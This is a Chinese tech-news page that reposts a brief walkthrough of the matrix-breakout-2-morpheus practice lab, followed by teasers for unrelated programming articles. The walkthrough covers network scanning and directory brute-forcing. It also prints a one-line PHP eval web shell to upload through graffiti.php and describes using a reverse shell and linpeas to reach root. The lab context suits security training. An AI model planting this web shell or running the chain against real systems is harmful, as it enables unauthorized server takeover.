当前位置： 首页 > news >正文

matrix-breakout-2-morpheus 靶场 练习思路

news 文章来源：https://blog.csdn.net/sn5diphone6/article/details/135344404 2024/10/26 0:31:06 
arp-scan -l   获取目标机器的IP
nmap -sV -A IP   查看目标机器开放的端口
gobuster dir -u http://192.168.29.130 -x php,txt,jsp,asp -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  爆破目标机器的文件目录,找到可以访问的文件路径
http://192.168.29.130/graffiti.php 发现可以上传文件的页面以及接口

<?php eval($_POST['attack']);?>  通过上传文件的方式,注入该代码

然后使用 蚁剑 连接到目标服务器, 查看目标服务器的目录

传递linpeas.sh 和 反弹shell 到目标机器

执行linpeas.sh 文件,查看目标机器的漏洞

利用漏洞获取目标机器的root最高权限

相关文章：

matrix-breakout-2-morpheus 靶场 练习思路

arp-scan -l 获取目标机器的IP nmap -sV -A IP 查看目标机器开放的端口 gobuster dir -u http://192.168.29.130 -x php,txt,jsp,asp -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 爆破目标机器的文件目录,找到可以访问的文件路径 http://192.168…...

编程日记 2024/1/8 6:12:48

【Flutter 开发实战】Dart 基础篇：从了解背景开始

想要学会用 Flutter 开发 App&#xff0c;就不可避免的要学习另一门很有意思的编程语言 —— Dart。很多小伙伴可能在学习 Flutter 之前可能都没听说过这门编程语言&#xff0c;我也是一样&#xff0c;还以为 Dart 是为了 Flutter 而诞生的&#xff1b;然而&#xff0c;当我们去…...

编程日记 2024/1/8 6:10:46

西电期末1017.有序序列插值

一.题目 二.分析与思路 简单题。主要考察简单的排序&#xff0c;最后的插入数据同样不用具体实现&#xff0c;只需在输出时多输出一下即可&#xff0c;注意顺序&#xff01;&#xff01; 三.代码实现 #include<bits/stdc.h>//万能头 int main() {int n;scanf("%d…...

编程日记 2024/1/8 6:08:44

day10 用栈实现队列 用队列实现栈

题目1&#xff1a;232 用栈实现队列 题目链接&#xff1a;232 用栈实现队列 题意 用两个栈实现先入先出队列&#xff08;一个入栈&#xff0c;一个出栈&#xff09;&#xff0c;实现如下功能&#xff1a; 1&#xff09;push&#xff1a;将元素x推到队列末尾 2&#xff09;…...

编程日记 2024/1/8 6:06:43

解决跨域问题（SpringBoot）

“什么是跨域&#xff1f;” 跨域 &#xff08;Cross-Origin&#xff09; 是指在浏览器的同源策略&#xff08;Same-Origin Policy&#xff09;下&#xff0c;一个网页的源&#xff08;指协议、域名、端口号的组合&#xff09;与另一个网页的源不同。因此&#xff0c;不同源的…...

编程日记 2024/1/8 6:05:41

LeetCode——2487. 从链表中移除节点

通过万岁&#xff01;&#xff01;&#xff01; 题目&#xff1a;给你一个链表&#xff0c;然后让你从链表中移除一些节点&#xff0c;移除的规则就是我们选择的这个节点在原链表中往右不能有比这个节点大的值。思路&#xff1a;这个题我最开始以为是双指针&#xff0c;然后找…...

编程日记 2024/1/8 6:04:40

云原生和Kubernetes如何简化应用程序开发

在谈论当前技术时，“云计算”正变得非常普遍，作为开发人员，将会继续体验使用云计算应用程序的优势;在云计算中，另一个正在出现的术语是云原生。在进入实际话题之前，首先了解一下云原生到底是什么。 深入了解云原生应用 现在，世界各地的公司都了解云计算应用程序可以带来…...

编程日记 2024/1/8 6:03:40

点云从入门到精通技术详解100篇-基于深度学习的室内场景三维点云语义分割（续）

目录 CSegNet 语义分割模型构建 3.1 引言 3.2 偏移注意机制 3.3 网络主干 3.4 边缘卷积模块...

编程日记 2024/1/8 6:02:39

RabbitMQ消息可靠性保证机制3--消费端ACK机制

消费端ACK机制 ​ 在这之前已经完成了发送端的确认机制。可以保证数据成功的发送到RabbitMQ&#xff0c;以及持久化机制&#xff0c;然尔这依然无法完全保证整个过程的可靠性&#xff0c;因为如果消息被消费过程中业务处理失败了&#xff0c;但是消息却已经被标记为消费了&…...

编程日记 2024/1/8 6:00:37

Copilot在Pycharm的应用和示例

Copilot 是 Github 在 2021 年发布的 AI 代码助手工具&#xff0c;它可以根据你提供的上下文信息&#xff0c;自动生成代码建议&#xff0c;帮助提高代码编写效率和准确性。在 Pycharm 中使用 Copilot&#xff0c;可以进一步提升 Python 开发效率&#xff0c;本文将分享如何在 …...

编程日记 2024/1/8 5:59:36

搜维尔科技：【简报】第九届元宇宙数字人设计大赛，报名已经进入白热化阶段！

随着元宇宙时代的来临&#xff0c;数字人设计成为了创新前沿领域之一。为了提高大学生元宇宙虚拟人角色策划与美术设计的专业核心能力&#xff0c;我们特别举办了这场元宇宙数字人设计赛道&#xff0c;赛道主题为「AI人工智能科技」 &#xff0c;只要与「AI人工智能科技」相关的…...

编程日记 2024/1/8 5:58:35

性能检测自动化（含内存泄露检测）

一、平台侧实现方案 1、UI case重复执行N次：进入页面，sleep 5s，记录start_time，sleep 30s，记录end_time，性能采集工具全程采集性能数据 2、根据采集到的性能数据，按照N次卡点性能数据：去掉最大的10%、最小的10%，求取平均值，作为单次性能数据结果f(n)…...

编程日记 2024/1/8 5:55:33

iec104和iec61850

iec104和iec61850 IEC104 规约详细解读(一) 协议结构 IEC104 规约详细解读(二)交互流程以及协议解析 61850开发知识总结与分享【1】 Get the necesarry projects next to each other in the same directory; $ git clone https://github.com/robidev/iec61850_open_server.g…...

编程日记 2024/1/8 5:54:32

redis 面试问题 （更新中 ing）

目录 reids 是做什么的为什么那么快有哪些使用场景redis有哪些 数据结构redis 有哪些底层数据结构为什么设计 sds一个 字符串 存储多大容量 stream为什么设计 streamstream 消费者消息丢失stream 消息私信问题 持久化机制redis 持久化机制&#xff0c;优缺点&#xff0c;怎么用…...

编程日记 2024/1/8 5:53:31

力扣（leetcode）第389题找不同（Python）

389.找不同 题目链接&#xff1a;389.找不同 给定两个字符串 s 和 t &#xff0c;它们只包含小写字母。 字符串 t 由字符串 s 随机重排&#xff0c;然后在随机位置添加一个字母。 请找出在 t 中被添加的字母。 示例 1&#xff1a; 输入&#xff1a;s “abcd”, t “abcde…...

编程日记 2024/1/8 5:51:28

Linux_源码编译安装LAMP

1. 安装httpd服务 在配置 Apache 网站服务之前&#xff0c;需要正确安装好 httpd 服务器软件。httpd 服务器的安装可以选用 RPM 安装、源码编译安装这两种方式&#xff0c;前者相对比较简单、快速&#xff0c;但是在功能上存在一定的局限性。在实际的生产环境中&#xff0c;使…...

编程日记 2024/1/8 5:48:25

静态网页设计——清雅古筝网（HTML+CSS+JavaScript）

前言 声明&#xff1a;该文章只是做技术分享&#xff0c;若侵权请联系我删除。&#xff01;&#xff01; 感谢大佬的视频&#xff1a; https://www.bilibili.com/video/BV1T64y1K7Zn/?vd_source5f425e0074a7f92921f53ab87712357b 使用技术&#xff1a;HTMLCSSJS&#xff08;…...

编程日记 2024/1/8 5:47:25

实战Flink Java api消费kafka实时数据落盘HDFS

文章目录 1 需求分析2 实验过程2.1 启动服务程序2.2 启动kafka生产 3 Java API 开发3.1 依赖3.2 代码部分 4 实验验证STEP1STEP2STEP3 5 时间窗口 1 需求分析 在Java api中&#xff0c;使用flink本地模式&#xff0c;消费kafka主题&#xff0c;并直接将数据存入hdfs中。 flin…...

编程日记 2024/1/8 5:42:19

爬虫与反爬-localStorage指纹（某易某盾滑块指纹检测）（Hook案例）

概述&#xff1a;本文将用于了解爬虫中localStorage的检测原理以及讲述一个用于检测localStorage的反爬虫案例&#xff0c;最后对该参数进行Hook断点定位 目录&#xff1a; 一、LocalStorage 二、爬虫中localStorage的案例&#xff08;以某盾滑块为例&#xff09; 三、如何…...

编程日记 2024/1/8 5:40:18

聊一聊 webpack 和 vite 的开发服务代理的问题

webpack 和 vite webpackVite重新编辑的问题 changOrigin: true如何定义 /api ? webPack And Vite 都是两个比较好用的打包工具&#xff0c;尤其是 Vite, 几几年流行忘记了&#xff0c;特色就是服务启动极快&#xff0c;实现预加载&#xff0c;感觉 webPack 要比 Vite 要复杂一…...

编程日记 2024/1/8 5:39:17

【鸿蒙4.0】安装DevEcoStudio

1.下载安装包 HUAWEI DevEco Studio和SDK下载和升级 | HarmonyOS开发者华为鸿蒙DevEco Studio是面向全场景的一站式集成开发环境,&#xff0c;在鸿蒙官网下载或升级操作系统开发工具DevEco Studio最新版本&#xff0c;SDK配置和下载&#xff0c;2.1支持Mac、Windows操作系统。…...

编程日记 2024/1/8 5:37:15

[概率论]四小时不挂猴博士

贝叶斯公式是什么 贝叶斯公式是概率论中的一个重要定理&#xff0c;用于计算在已知一些先验信息的情况下&#xff0c;更新对事件发生概率的估计。贝叶斯公式的表达式如下&#xff1a; P(A|B) P(B|A) * P(A) / P(B) 其中&#xff0c;P(A|B)表示在事件B发生的条件下事件A发生的概…...

编程日记 2024/1/8 5:35:14

算法通关村第二十关-黄金挑战图的常见算法

大家好我是苏麟 , 今天聊聊图的常见算法 . 图里的算法是很多的&#xff0c;这里我们介绍一些常见的图算法。这些算法一般都比较复杂&#xff0c;我们这里介绍这些算法的基本含义&#xff0c;适合面试的时候装*&#xff0c;如果手写&#xff0c;那就不用啦。 图分析算法&#xf…...

编程日记 2024/1/8 5:34:12

服务器内存不足怎么办？会有什么影响？

服务器内存&#xff0c;也被称为RAM&#xff08;Random Access Memory&#xff09;&#xff0c;是一种临时存储设备&#xff0c;用于临时存放正在运行的程序和数据。它是服务器上的超高速存储介质&#xff0c;可以快速读取和写入数据&#xff0c;提供给CPU进行实时计算和操作。…...

编程日记 2024/1/8 5:32:11

GPT实战系列-简单聊聊LangChain

GPT实战系列-简单聊聊LangChain LLM大模型相关文章&#xff1a; GPT实战系列-ChatGLM3本地部署CUDA111080Ti显卡24G实战方案 GPT实战系列-Baichuan2本地化部署实战方案 GPT实战系列-大话LLM大模型训练 GPT实战系列-探究GPT等大模型的文本生成 GPT实战系列-Baichuan2等大模…...

编程日记 2024/1/8 5:31:10

【读书笔记】《白帽子讲web安全》浏览器安全

目录 第二篇 客户端脚本安全 第2章 浏览器安全 2.1同源策略 2.2浏览器沙箱 2.3恶意网址拦截 2.4高速发展的浏览器安全 第二篇 客户端脚本安全 第2章 浏览器安全 近年来随着互联网的发展&#xff0c;人们发现浏览器才是互联网最大的入口&#xff0c;绝大多数用户使用互联…...

编程日记 2024/1/8 5:25:06

海外服务器2核2G/4G/8G和4核8G配置16M公网带宽优惠价格表

腾讯云海外服务器租用优惠价格表&#xff0c;2核2G10M带宽、2核4G12M、2核8G14M、4核8G16M配置可选&#xff0c;可以选择Linux操作系统或Linux系统&#xff0c;相比较Linux服务器价格要更优惠一些&#xff0c;腾讯云服务器网txyfwq.com分享腾讯云国外服务器租用配置报价&#x…...

编程日记 2024/1/8 5:23:04

Linux 编译安装 Nginx

目录 一、前言二、四种安装方式介绍三、本文安装方式&#xff1a;源码安装3.1、安装依赖库3.2、开始安装 Nginx3.3、Nginx 相关操作3.4、把 Nginx 注册成系统服务 四、结尾 一、前言 Nginx 是一款轻量级的 Web 服务器、[反向代理]服务器&#xff0c;由于它的内存占用少&#xf…...

编程日记 2024/1/8 5:19:01

Oracle文件自动“减肥”记

&#x1f4e2;&#x1f4e2;&#x1f4e2;&#x1f4e3;&#x1f4e3;&#x1f4e3; 哈喽&#xff01;大家好&#xff0c;我是【IT邦德】&#xff0c;江湖人称jeames007&#xff0c;10余年DBA及大数据工作经验 一位上进心十足的【大数据领域博主】&#xff01;&#x1f61c;&am…...

编程日记 2024/1/8 5:18:00

【csharp】抽象类与接口有哪些不同？什么时候应该使用抽象类？

抽象类与接口有哪些不同&#xff1f; 抽象类和接口是在面向对象编程中两个不同的概念&#xff0c;它们有一些重要的区别。以下是抽象类和接口的主要不同点&#xff1a; 抽象类&#xff08;Abstract Class&#xff09;&#xff1a; 成员类型&#xff1a; 抽象类可以包含抽象方…...

编程日记 2024/1/8 5:15:59

银川 网站建设/网络推广员工资多少钱

NFS(Network File Share )一般我会都会想到是IBM\DELL\HP\NETAPP厂商所提供的硬件储存&#xff0c;最终再把NFS附加给XenServer&#xff0c;其实&#xff0c;在Windows Server 2008中自带的NFS功能&#xff0c;一样也可以为XenServer提供一样的NFS功能&#xff1a; 以下将告诉你…...

编程日记 2024/10/25 23:32:42

wordpress 远程图片/如何搭建企业网站

&#xff08;一&#xff09;什么是SAS SAS&#xff08;Serial Attached SCSI&#xff09;即串行SCSI技术&#xff0c;是一种磁盘连接技术&#xff0c;它综合了并行SCSI和串行连接技术&#xff08;如FC、SSA、IEEE1394等&#xff09;的优势&#xff0c;以串行通讯协议为协议基础…...

编程日记 2024/10/25 23:21:37

做外贸 网站邮箱申请/mac蜜桃923色号

一、volatile 用法 可以将成员函数声明为volatile&#xff0c; 如果一个类对象的值可能被修改的方式是编译器无法控制或检测的&#xff0c;例如&#xff1a;如果它是表示 I/O端口的数据结构&#xff0c;则把它声明为 volatile 与 const 类对象类似&#xff0c;对于一个 volatil…...

编程日记 2024/10/25 22:43:14

十大家居家装网站哪个好/网站开发一般多少钱

如何把iphone变成猫iPhone has the touch screen. Is is possible to turn my iPhone to a wireless mouse on Linux?iPhone具有触摸屏。 是否可以在Linux上将iPhone变成无线鼠标&#xff1f; Use the WiFi Mouse app/server: http://wifimouse.necta.us/使用WiFi鼠标应用程序…...

编程日记 2024/10/25 15:50:48

java自助建站网站建设评价/南京seo外包平台

一、原理图&#xff1a;<?xml:namespace prefix o ns "urn:schemas-microsoft-com:office:office" />二、Open应用场景&#xff1a;虚拟专用通道&#xff0c;可以应用于企业和企业之间或者外地出差个人与公司之间安全数据传输的隧道&#xff0c;Open是Linux…...

编程日记 2024/10/25 15:46:46

网站页面设计制作费/百度seo优化公司

XHTML代码规范 1.所有的标记都必须要有一个相应的结束标记2.所有标签的元素和属性的名字都必须使用小写3.所有的XML标记都必须合理嵌套4.所有的属性必须用引号""括起来5.把所有<和&特殊符号用编码表示6.给所有属性赋一个值7.不要在注释内容中使“--” HEAD区示…...

编程日记 2024/10/25 15:13:29